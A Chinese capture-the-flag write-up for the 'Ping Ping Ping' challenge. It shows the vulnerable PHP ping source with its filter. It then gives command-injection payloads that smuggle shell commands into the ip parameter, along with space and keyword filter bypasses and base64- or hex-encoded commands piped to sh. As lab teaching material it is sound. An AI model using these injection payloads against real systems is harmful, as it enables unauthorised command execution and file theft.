[GXYCTF2019]Ping Ping Ping wp

地址:BUUCTF

ping 127.0.0.1

这就是命令执行,想要和前面的命令一起执行,有一下几个方法

;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)

 

本题使用|或者;

 

 

接着cat flag.php,发现空格以及flag都被过滤。下面介绍空格绕过的几个方法:

$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20

先看看index.php,pyload为

?ip=127.0.0.1;cat$IFS$9index.php

得到:

<?php 
if(isset($_GET['ip'])){ $ip = $_GET['ip'];

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); }
?>

可以看到过滤了&,/,?,*,<,>,\x{00}-\x{1f},',",\,(,),[,],{,},空格,bash,flag

介绍绕过关键字的一些方法:

ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash       base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash       hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh     sh的效果和bash一样
cat fl[a]g.php       用[]匹配
cat fla*       用*匹配任意
a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

使用通配符:

*     #匹配全部字符,通配符
?    #任意一个字符,通配符
[]      #表示一个范围(正则,通配符)
{}      #产生一个序列(通配符)

 利用反引号

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

利用sh代替bash

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

 

posted @ 2020-06-06 16:32  信安专业小白  阅读(303)  评论(0编辑  收藏  举报